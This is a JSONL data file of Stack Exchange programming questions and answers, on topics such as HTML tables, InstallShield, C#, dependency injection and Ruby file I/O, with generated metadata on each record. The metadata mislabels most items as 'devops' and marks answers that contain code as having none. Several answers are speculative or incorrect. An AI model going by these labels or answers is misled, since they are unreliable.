{"id": "hf_5ce7ad63799a", "question": "<p>I am writing a page where I need an HTML table to maintain a set size. I need the headers at the top of the table to stay there at all times but I also need the body of the table to scroll no matter how many rows are added to the table. Think a mini version of excel. This seems like a simple task but almost every solution I have found on the web has some drawback. How can I solve this?</p>\n", "question_body": "", "answer": "Have you tried using thead and tbody, and setting a fixed height on tbody with overflow:scroll?\nWhat are your target browsers?\nEDIT: It worked well (almost) in firefox - the addition of the vertical scrollbar caused the need for a horizontal scrollbar as well - yuck.  IE just set the height of each td to what I had specifed the height of tbody to be.  Here's the best I could come up with:\n```\n```\n<html>\n    <head>\n    <title>Blah</title>\n    <style type=\"text/css\">\n    table { width:300px; }\n    tbody { height:10em;  overflow:scroll;}\n    td { height:auto; }\n    </style>\n    </head>\n    <body>\n    <table>\n        <thead>\n            <tr>\n              <th>One</th><th>Two</th>\n              </td>\n            </tr>\n        </thead>\n        <tbody>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n            <tr><td>Data</td><td>Data</td></tr>\n        </tbody>\n    </table>\n    </body>\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.889964"}
{"id": "hf_df57ceb4ec9c", "question": "<p>We have recently moved back to InstallShield 2008 from rolling our own install. So, I am still trying to get up the learning curve on it. </p>\n\n<p>We are using Firebird and a usb driver, that we couldn't find good msi install solutions. So, we have a cmd line to install firebird silently and the usb driver mostly silently.</p>\n\n<p>We have put this code into the event handler DefaultFeatureInstalled. This works really well on the first time install. But, when I do an uninstall it trys to launch the firebird installer again, so it must be sending the DefaultFeatureInstalled event again.</p>\n\n<p>Is their another event to use, or is there a way to detect whether its an install or uninstall in the DefaultFeatureInstalled event?</p>\n", "question_body": "", "answer": "There are MSI properties you can look at that will tell you if a product is already installed or if an uninstall is taking place. The Installed property will be true if the product is already there, so you can use it in a Boolean expression (Ex: Not Installed). The REMOVE property will be set to \"ALL\" if an uninstall is taking place. You might be able to condition your Firebird installation logic on these properties, which you can retrieve using the\nMsiGetProperty\nfunction.\nNote: Property names mean different things based on case, so make sure you use the cases above.\nI couldn't find any reference in the IS online help or Google to the DefaultFeatureInstalled event. Is your InstallShield project Basic MSI or InstallScript?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.914030"}
{"id": "hf_f7ed75ddcaf4", "question": "<p>How do they compare to the DevXpress ones or the original MSOffice ones.<br>\nAre they worth investing time in them (for practical usage now, not academic curiosity which I'll do anyway)?</p>\n", "question_body": "", "answer": "From my experience, the new ribbon control implements the entire specification as laid out by Microsoft.  The only issue I noticed was a slight flicker when the form was resized which caused one of the sections to collapse or expand.\nWorth spending time in?  Definitely, as they are lighter weight and its a matter of time before someone gets rid of the flicker (could be as simple as a lockwindowupdate inserted in the source?).  It doesn't hurt to use the Delphi action manager, from which all is based.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:15.961726"}
{"id": "hf_b953409e71f5", "question": "<p>I've never used CI tools before, but from what I've read, I'm not sure it would provide any benefit to a solo developer that isn't writing code every day.</p>\n\n<p>First - what benefits does CI provide to any project?</p>\n\n<p>Second - who should use CI? Does it benefit all developers?</p>\n", "question_body": "", "answer": "The benefit of CI lies in the ability to discover early when a check in has broken the build. You can also run your suite of automated tests against the build, as well as run any kind of tools to give you metrics and such.\nObviously, this is very valuable when you have a team of commiters, not all of whom are diligent to check for breaking changes. As a solo developer, it is not quite as valuable. Presumably, you run your unit tests, and even maybe integration tests.  However, I have seen a number of occasions where the developer forgets to checkin a file out of a set.\nThe CI build can also be thought of as your \"release\" build.  The environment should be stable, and unaffected by whatever development gizmo you just add to your machine.  It should allow you to always reproduce a build.\nThis can be valuable if you add a new dependency to your project, and forget to setup the release build environment to take that into account.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.008744"}
{"id": "hf_fe2d1316cdb1", "question": "<p>I use int.MaxValue as a penalty and sometimes I am computing the penalties together. Is there a function or how would you create one with the most grace and efficiency that does that. </p>\n\n<p>ie. </p>\n\n<p>50 + 100 = 150</p>\n\n<p>int.Max + 50 = int.Max and not int.Min + 50 </p>\n", "question_body": "", "answer": "```\n```\nint penaltySum(int a, int b)\n{\n    return (int.MaxValue - a < b) ? int.MaxValue : a + b;\n}\n```\n```\nUpdate: If your penalties can be negative, this would be more appropriate:\n```\n```\nint penaltySum(int a, int b)\n{\n    if (a > 0 && b > 0)\n    {\n        return (int.MaxValue - a < b) ? int.MaxValue : a + b;\n    }\n\n    if (a < 0 && b < 0)\n    {\n        return (int.MinValue - a > b) ? int.MinValue : a + b;\n    }\n\n    return a + b;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.032212"}
{"id": "hf_09f4b0c8ee16", "question": "<p>I have a table of Users that includes a bitmask of roles that the user belongs to. I'd like to select users that belong to one or more of the roles in a bitmask value. For example:</p>\n\n<pre>select *\nfrom   [User]\nwhere  UserRolesBitmask | 22 = 22</pre>\n\n<p>This selects all users that have the roles '2', '4' or '16' in their bitmask. Is this possible to express this in a LINQ query? Thanks.</p>\n", "question_body": "", "answer": "I think this will work, but I haven't tested it.Substitute the name of your DataContext object. YMMV.\n```\n```\nfrom u in DataContext.Users\nwhere UserRolesBitmask | 22 == 22\nselect u\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.054936"}
{"id": "hf_87bec0643e5e", "question": "<p>I've got a dictionary, something like</p>\n\n<pre><code>Dictionary&lt;Foo,String&gt; fooDict\n</code></pre>\n\n<p>I step through everything in the dictionary, e.g.</p>\n\n<pre><code>foreach (Foo foo in fooDict.Keys)\n    MessageBox.show(fooDict[foo]);\n</code></pre>\n\n<p>It does that in the order the foos were added to the dictionary, so the first item added is the first foo returned.</p>\n\n<p>How can I change the cardinality so that, for example, the third foo added will be the second foo returned? In other words, I want to change its \"index.\"</p>\n", "question_body": "", "answer": "I am\nnot fully educated in the domain\nto properly answer the question, but I have\na feeling\nthat the dictionary sorts the values according to the key, in order to perform quick key search. This would suggest that the dictionary is sorted by key values according to key comparison. However, looking at\nobject\nmethods, I assume they are using hash codes to compare different objects considering there is no requirement on the type used for keys. This is only a guess. Someone more knowledgey should fill in with more detail.\nWhy are you interested in manipulating the \"index\" of a dictionary when its purpose is to index with arbitrary types?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.078306"}
{"id": "hf_2000e014b5f7", "question": "<p>I'm trying to start a service as a user and things work fine, until I try a user that doesn't have a password. Then, it fails to start (due to log-on error).</p>\n\n<p>Am I doing something wrong or is this \"by design\"?</p>\n\n<p>The code to register this service:</p>\n\n<pre><code>    SC_HANDLE schService = CreateService( \n        schSCManager,           \n        strNameNoSpaces,      \n        strServiceName,           \n        SERVICE_ALL_ACCESS,       \n        SERVICE_WIN32_OWN_PROCESS, \n        SERVICE_AUTO_START,    \n        SERVICE_ERROR_NORMAL,      \n        szPath,                  \n        NULL,                     \n        NULL,                  \n        NULL,                    \n        strUser,\n        (strPassword.IsEmpty())?NULL:strPassword);\n</code></pre>\n", "question_body": "", "answer": "You need to specify an empty string, not NULL if there is no password. NULL is not a valid empty string, \"\" is. Probably you should just pass\n```\nstrPassword\n```\nfor the last parameter.\n```\n```\nSC_HANDLE schService = CreateService( \n            schSCManager,           \n            strNameNoSpaces,      \n            strServiceName,           \n            SERVICE_ALL_ACCESS,       \n            SERVICE_WIN32_OWN_PROCESS, \n            SERVICE_AUTO_START,    \n            SERVICE_ERROR_NORMAL,      \n            szPath,                  \n            NULL,                     \n            NULL,                  \n            NULL,                    \n            strUser,\n\n// change this line to:\n            strPassword.IsEmpty() ? L\"\" : strPassword);\n// or maybe\n            strPassword);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.105599"}
{"id": "hf_fe26c7b4ff51", "question": "<p>I would like to find out if a particular python datetime object is older than X hours or minutes. I am trying to do something similar to:  </p>\n\n<pre><code>if (datetime.now() - self.timestamp) &gt; 100\n# Where 100 is either seconds or minutes\n</code></pre>\n\n<p>This generates a type error. </p>\n\n<p>What is the proper way to do date time comparison in python? I already looked at <a href=\"http://wiki.python.org/moin/WorkingWithTime\" rel=\"noreferrer\">WorkingWithTime</a> which is close but not exactly what I want. I assume I just want the datetime object represented in seconds so that I can do a normal int comparison. </p>\n\n<p>Please post lists of datetime best practices.</p>\n", "question_body": "", "answer": "You can subtract two\ndatetime\nobjects to find the difference between them.\nYou can use\n```\ndatetime.fromtimestamp\n```\nto parse a POSIX time stamp.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.144558"}
{"id": "hf_0f1e85f6022b", "question": "<p>I want to wrap a <a href=\"https://en.wikipedia.org/wiki/One-liner_program#Perl\" rel=\"nofollow noreferrer\">Perl one-liner</a> in a batch file. For a (trivial) example, in a Unix shell, I could quote up a command like this:</p>\n\n<pre><code>perl -e 'print localtime() . \"\\n\"'\n</code></pre>\n\n<p>But DOS chokes on that with this helpful error message:</p>\n\n<blockquote>\n  <p>Can't find string terminator \"'\" anywhere before EOF at -e line 1.</p>\n</blockquote>\n\n<p>What's the best way to do this within a <a href=\"https://en.wikipedia.org/wiki/Batch_file\" rel=\"nofollow noreferrer\">.bat file</a>?</p>\n", "question_body": "", "answer": "For Perl stuff on Windows, I try to use the generalized quoting as much as possible so I don't get leaning toothpick syndrome. I save the quotes for the stuff that DOS needs:\n```\n```\nperl -e \"print scalar localtime() . qq(\\n)\"\n```\n```\nIf you just need a newline at the end of the print, you can let the\n```\n-l\n```\nswitch do that for you:\n```\n```\nperl -le \"print scalar localtime()\"\n```\n```\nFor other cool things you can do with switches, see the\nperlrun\ndocumentation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.217101"}
{"id": "hf_1260fa98a52c", "question": "<p>I wonder how long it would usually take for:</p>\n\n<ol>\n<li>Professional</li>\n<li>Average</li>\n<li>Beginner</li>\n</ol>\n\n<p>to setup and configure CI for a new project?</p>\n", "question_body": "", "answer": "CI Factory\nTeamCity\nCC.NET sample configs\nTry.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.265702"}
{"id": "hf_0bc4811940e2", "question": "<p>It's been a while since I've had to do any HTML-like code in <code>Vim</code>, but recently I came across this again. Say I'm writing some simple <code>HTML</code>:</p>\n\n<pre><code>&lt;html&gt;&lt;head&gt;&lt;title&gt;This is a title&lt;/title&gt;&lt;/head&gt;&lt;/html&gt;\n</code></pre>\n\n<p>How do I write those closing tags for title, head and html down quickly? I feel like I'm missing some really simple way here that does not involve me going through writing them all down one by one.</p>\n\n<p>Of course I can use <kbd>Ctrl</kbd><kbd>P</kbd> to autocomplete the individual tag names but what gets me on my laptop keyboard is actually getting the brackets and slash right.</p>\n", "question_body": "", "answer": "Check this out..\nclosetag.vim\n```\n```\nFunctions and mappings to close open HTML/XML tags\n```\n```\nhttps://www.vim.org/scripts/script.php?script_id=13\nI use something similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.325585"}
{"id": "hf_1522277c375d", "question": "<p>I've got a form where I have two radio buttons and two interchangeable controls (made up of a ListView and a handful of buttons). Based on which radio button is selected I want to display the proper control to the user.</p>\n\n<p>The way I'm doing this now is just loading both controls and setting up an OnRadioButtonSelectionChanged() method which gets called at form load (to set the initial state) and at any time the selection is changed. This method just sets the visible property on each control to the proper value.</p>\n\n<p>This seems to work well enough, but I was curious as to if there was a better or more common way of doing it?</p>\n", "question_body": "", "answer": "Yep, that's pretty much how I do it.  I would set the CheckedChanged event of both radio buttons to point at a single event handler and would place the following code to swap out the visible control.\n```\n```\nprivate void OnRadioButtonCheckedChanged(object sender, EventArgs e)\n{\n    Control1.Visible = RadioButton1.Checked;\n    Control2.Visible = RadioButton2.Checked;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.360145"}
{"id": "hf_3a41cc67aa54", "question": "<p>I want my Python script to copy files on Vista. When I run it from a normal <code>cmd.exe</code> window, no errors are generated, yet the files are NOT copied. If I run <code>cmd.exe</code> \"as administator\" and then run my script, it works fine.</p>\n\n<p>This makes sense since User Account Control (UAC) normally prevents many file system actions.</p>\n\n<p>Is there a way I can, from within a Python script, invoke a UAC elevation request (those dialogs that say something like \"such and such app needs admin access, is this OK?\")</p>\n\n<p>If that's not possible, is there a way my script can at least detect that it is not elevated so it can fail gracefully?</p>\n", "question_body": "", "answer": "It seems there's no way to elevate the application privileges for a while for you to perform a particular task. Windows needs to know at the start of the program whether the application requires certain privileges, and will ask the user to confirm when the application performs any tasks that\nneed\nthose privileges. There are two ways to do this:\nWrite a manifest file that tells Windows the application might require some privileges\nRun the application with elevated privileges from inside another program\nThis\ntwo\narticles\nexplain in much more detail how this works.\nWhat I'd do, if you don't want to write a nasty ctypes wrapper for the CreateElevatedProcess API, is use the ShellExecuteEx trick explained in the Code Project article (Pywin32 comes with a wrapper for ShellExecute). How? Something like this:\nWhen your program starts, it checks if it has Administrator privileges, if it doesn't it runs itself using the ShellExecute trick and exits immediately, if it does, it performs the task at hand.\nAs you describe your program as a \"script\", I suppose that's enough for your needs.\nCheers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.394385"}
{"id": "hf_dabfb095e5c5", "question": "<p>I have some C# code in an ASP.Net application that does this:</p>\n\n<p>Bitmap bmp = new Bitmap(1184, 1900);</p>\n\n<p>And occasionally it throws an exception \"Parameter is not valid\". Now i've been googling around and apparently GDI+ is infamous for throwing random exceptions, and lots of people have had this problem, but nobody has a solution to it! I've checked the system and it has plenty of both RAM and swap space.\nNow in the past if i do an 'iisreset' then the problem goes away, but it comes back in a few days. But i'm not convinced i've caused a memory leak, because as i say above there is plenty of ram+swap free.</p>\n\n<p>Anyone have any solutions?</p>\n", "question_body": "", "answer": "You not only need enough memory, it needs to be contiguous.  Over time memory becomes fragmented and it becomes harder to find big blocks.  There aren't a lot of good solutions to this, aside from building up images from smaller bitmaps.\nnew Bitmap(x, y) pretty much just needs to allocate memory -- assuming that your program isn't corrupted in some way (is there any unsafe code that could corrupt the heap), then I would start with this allocation failing.  Needing a contiguous block is how a seemingly small allocation could fail.  Fragmentation of the heap is something that is usually solved with a custom allocator -- I don't think this is a good idea in IIS (or possible).\nTo see what error you get on out of memory, try just allocation a gigantic Bitmap as a test -- see what error it throws.\nOne strategy I've seen is to pre-allocate some large blocks of memory (in your case Bitmaps) and treat them as a pool (get and return them to the pool).  If you only need them for a short period of time, you might be able to get away with just keeping a few in memory and sharing them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.444042"}
{"id": "hf_7b43e13dd16c", "question": "<p>There have been several questions already posted with specific questions about <a href=\"http://en.wikipedia.org/wiki/Dependency_injection\" rel=\"noreferrer\">dependency injection</a>, such as when to use it and what frameworks are there for it. However,</p>\n\n<p><strong>What is dependency injection and when/why should or shouldn't it be used?</strong></p>\n", "question_body": "", "answer": "Dependency Injection\nis passing dependency to other\nobjects\nor\nframework\n( dependency injector).\nDependency injection makes testing easier. The injection can be done through\nconstructor\n.\n```\nSomeClass()\n```\nhas its constructor as following:\n```\n```\npublic SomeClass() {\n    myObject = Factory.getObject();\n}\n```\n```\nProblem\n:\nIf\n```\nmyObject\n```\ninvolves complex tasks such as disk access or network access, it is\nhard\nto do unit test on\n```\nSomeClass()\n```\n. Programmers have to mock\n```\nmyObject\n```\nand might\nintercept\nthe factory call.\nAlternative solution\n:\nPassing\n```\nmyObject\n```\nin as an argument to the constructor\n```\n```\npublic SomeClass (MyClass myObject) {\n    this.myObject = myObject;\n}\n```\n```\n```\nmyObject\n```\ncan be passed directly which makes testing easier.\nOne common alternative is defining a\ndo-nothing constructor\n. Dependency injection can be done through setters. (h/t @MikeVella).\nMartin Fowler\ndocuments a third alternative (h/t @MarcDix), where\nclasses explicitly implement an interface\nfor the dependencies programmers wish injected.\nIt is harder to isolate components in unit testing without dependency injection.\nIn 2013, when I wrote this answer, this was a major theme on the\nGoogle Testing Blog\n. It remains the biggest advantage to me, as programmers not always need the extra flexibility in their run-time design (for instance, for service locator or similar patterns). Programmers often need to isolate the classes during testing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.472027"}
{"id": "hf_58f8d8b24ff5", "question": "<p>I'm using GNU autotools for the build system on a particular project. I want to start writing automated tests for verifcation. I would like to just type \"make check\" to have it automatically run these. My project is in C++, although I am still curious about writing automated tests for other languages as well.</p>\n\n<p><em>Is this compatible with pretty much every unit testing framework out there (I was thinking of using cppunit)? How do I hook these unit testing frameworks into make check? Can I make sure that I don't require the unit test software to be installed to be able to configure and build the rest of the project?</em></p>\n", "question_body": "", "answer": "You seem to be asking 2 questions in the first paragraph.\nThe first is about adding tests to the GNU autotools toolchain - but those tests, if I'm understanding you correctly, are for both validating that the environment necessary to build your application exists (dependent libraries and tools) as well as adapt the build to the environment (platform specific differences).\nThe second is about unit testing your C++ application and where to invoke those tests, you've proposed doing so from the autotools tool chain, presumably from the configure script.  Doing that isn't conventional though - putting a 'test' target in your Makefile is a more conventional way of executing your test suite.  The typical steps for building and installing an application with autotools (at least from a user's perspective, not from your, the developer, perspective) is to run the configure script, then run make, then optionally run make test and finally make install.\nFor the second issue, not wanting cppunit to be a dependency, why not just distribute it with your c++ application?  Can you just put it right in what ever archive format you're using (be it tar.gz, tar.bz2 or .zip) along with your source code.  I've used cppunit in the past and was happy with it, having used JUnit and other xUnit style frameworks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.508177"}
{"id": "hf_e7dfabdbc1d1", "question": "<p>I'm not that up on VB.NET, the application I'm working on was not written by myself.<br>\nIt works fine through the IDE but once I run it from the exe it gives me the above error.</p>\n\n<p>Any clues?</p>\n\n<p>This is really hacking me off!</p>\n", "question_body": "", "answer": "The only user defined break point that I can think of is\n```\n```\nDebugger.Break()\n```\n```\nSo, I would suspect that the .exe is compiled in debug mode.  I would recommend\nReflector\nto look at the code and find out for sure whether or not there is a Debugger.Break() somewhere in there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.532305"}
{"id": "hf_36598dd701fc", "question": "<p>I have 3 points in a 3D space of which I know the exact locations. Suppose they are: <code>(x0,y0,z0)</code>, <code>(x1,y1,z1)</code> and <code>(x2,y2,z2)</code>.</p>\n\n<p>Also I have a camera that is looking at these 3 points and I know the 2D locations of those three points on camera view plane. So for example <code>(x0,y0,z0)</code> will be <code>(x0',y0')</code>, and <code>(x1,y1,z1)</code> will be <code>(x1',y1')</code> and <code>(x2,y2,z2)</code> will be <code>(x2',y2')</code> from the camera's point of view.</p>\n\n<p>What is the easiest way to find the projection matrix that will project those 3D points into 2D points on camera view plane. We don't know anything about the camera location.</p>\n", "question_body": "", "answer": "This gives you two sets, each of three equations in 3 variables:\n```\n```\na*x0+b*y0+c*z0 = x0'\na*x1+b*y1+c*z1 = x1'\na*x2+b*y2+c*z2 = x2'\n\nd*x0+e*y0+f*z0 = y0'\nd*x1+e*y1+f*z1 = y1'\nd*x2+e*y2+f*z2 = y2'\n```\n```\nJust use whatever method of solving simultaneous equations is easiest in your situation (it isn't even hard to solve these \"by hand\").  Then your transformation matrix is just ((a,b,c)(d,e,f)).\n...\nActually, that is over-simplified and assumes a camera pointed at the origin of your 3D coordinate system and no perspective.\nFor perspective, the transformation matrix works more like:\n```\n```\n( a, b, c, d )   ( xt )\n( x, y, z, 1 ) ( e, f, g, h ) = ( yt )\n               ( i, j, k, l )   ( zt )\n\n( xv, yv ) = ( xc+s*xt/zt, yc+s*yt/zt ) if md < zt;\n```\n```\nbut the 4x3 matrix is more constrained than 12 degrees of freedom since we should have\n```\n```\na*a+b*b+c*c = e*e+f*f+g*g = i*i+j*j+k*k = 1\na*a+e*e+i*i = b*b+f*f+j*j = c*c+g*g+k*k = 1\n```\n```\nSo you should probably have 4 points to get 8 equations to cover the 6 variables for camera position and angle and 1 more for scaling of the 2-D view points since we'll be able to eliminate the \"center\" coordinates (xc,yc).\nSo if you have 4 points and transform your 2-D view points to be relative to the center of your display, then you can get 14 simultaneous equations in 13 variables and solve.\nUnfortunately, six of the equations are not linear equations.  Fortunately, all of the variables in those equations are restricted to the values between -1 and 1 so it is still probably feasible to solve the equations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.579400"}
{"id": "hf_44d7bb49572d", "question": "<p>I'm still learning RegEx at the moment, but for the time being could someone help me out with this?  I have a few special requirements for formatting the string:</p>\n\n<ol>\n<li>No directories.  JUST the file name.</li>\n<li>File name needs to be all lowercase.</li>\n<li>Whitespaces need to be replaced with underscores.</li>\n</ol>\n\n<p>Shouldn't be hard, but I'm pressed for time and I'm not sure on the 'correct' way to ensure a valid file name (namely I forget which characters were supposed to be invalid for file names).</p>\n", "question_body": "", "answer": "If you're in a super-quick hurry, you can usually find acceptable regular expressions in the library at\nhttp://regexlib.com/\n.\nEdit to say:\nHere's one that might work for you\n:\n```\n```\n([0-9a-z_-]+[\\.][0-9a-z_-]{1,3})$\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.603482"}
{"id": "hf_28b316e60d71", "question": "<p>What function will let us know whether a date in VBA is in DST or not?</p>\n", "question_body": "", "answer": "For non-current dates (DST 2007+):\nFirst, you need a function to find the number of specific weekdays in a month:\n```\n```\nPublic Function NDow(Y As Integer, M As Integer, _\n                N As Integer, DOW As Integer) As Date  \n\n' Returns Date of Nth Day of the Week in Month  \n\nNDow = DateSerial(Y, M, (8 - Weekday(DateSerial(Y, M, 1), _\n              (DOW + 1) Mod 8)) + ((N - 1) * 7))  \n\nEnd Function\n```\n```\nThen, you can check for the DST day versus the following function calls:\nFall:     NDow(Year(newdate), 11, 1, 1)\nSpring:   NDow(Year(newdate), 3, 2, 1)\nFor the current date:\nCall the Windows API function GetTimeZoneInformation,\nand it will return an enum (integer) with the status.\nI got the code for this from Chip Pearson's great Excel site.\nPearson's site", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.643295"}
{"id": "hf_8bc47844edc6", "question": "<p>How can I perform list comprehensions in C#?</p>\n", "question_body": "", "answer": "While this isn't a tutorial, here's some code that illustrates the concept:\n```\n```\npublic List<string> ValidUsers(List<User> users) {\n  List<string> names = new List<string>();\n  foreach(User user in users) {\n    if(user.Valid) {\n      names.Add(user.Name);\n    }\n  }\n  return names;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.691504"}
{"id": "hf_e3ec50d7550e", "question": "<p>Is it at the state where it is actually useful and can do more than rename classes?</p>\n", "question_body": "", "answer": "CDT (C/C++ Development Tools - eclipse project) 5.0 has a bunch of new refactorings\n```\n```\n* Declare Method\n* Extract Baseclass\n* Extract Constant\n* Extract Method\n* Extract Subclass\n* Hide Method\n* Implement Method\n* Move Field / Method\n* Replace Number\n* Separate Class\n* Generate Getters and Setters\n```\n```\nThere is a CDT refactoring\nwiki", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.716335"}
{"id": "hf_f21417ab5db5", "question": "<p>I need an easy way to take a tar file and convert it into a string (and vice versa). Is there a way to do this in Ruby? My best attempt was this:</p>\n\n<pre><code>file = File.open(\"path-to-file.tar.gz\")\ncontents = \"\"\nfile.each {|line|\n  contents &lt;&lt; line\n}\n</code></pre>\n\n<p>I thought that would be enough to convert it to a string, but then when I try to write it back out like this...</p>\n\n<pre><code>newFile = File.open(\"test.tar.gz\", \"w\")\nnewFile.write(contents)\n</code></pre>\n\n<p>It isn't the same file. Doing <code>ls -l</code> shows the files are of different sizes, although they are pretty close (and opening the file reveals most of the contents intact). Is there a small mistake I'm making or an entirely different (but workable) way to accomplish this?</p>\n", "question_body": "", "answer": "You can probably encode the tar file in Base64. Base 64 will give you a pure ASCII representation of the file that you can store in a plain text file. Then you can retrieve the tar file by decoding the text back.\nYou do something like:\n```\n```\nrequire 'base64'\n\nfile_contents = Base64.encode64(tar_file_data)\n```\n```\nHave look at the Base64\nRubydocs\nto get a better idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.777568"}
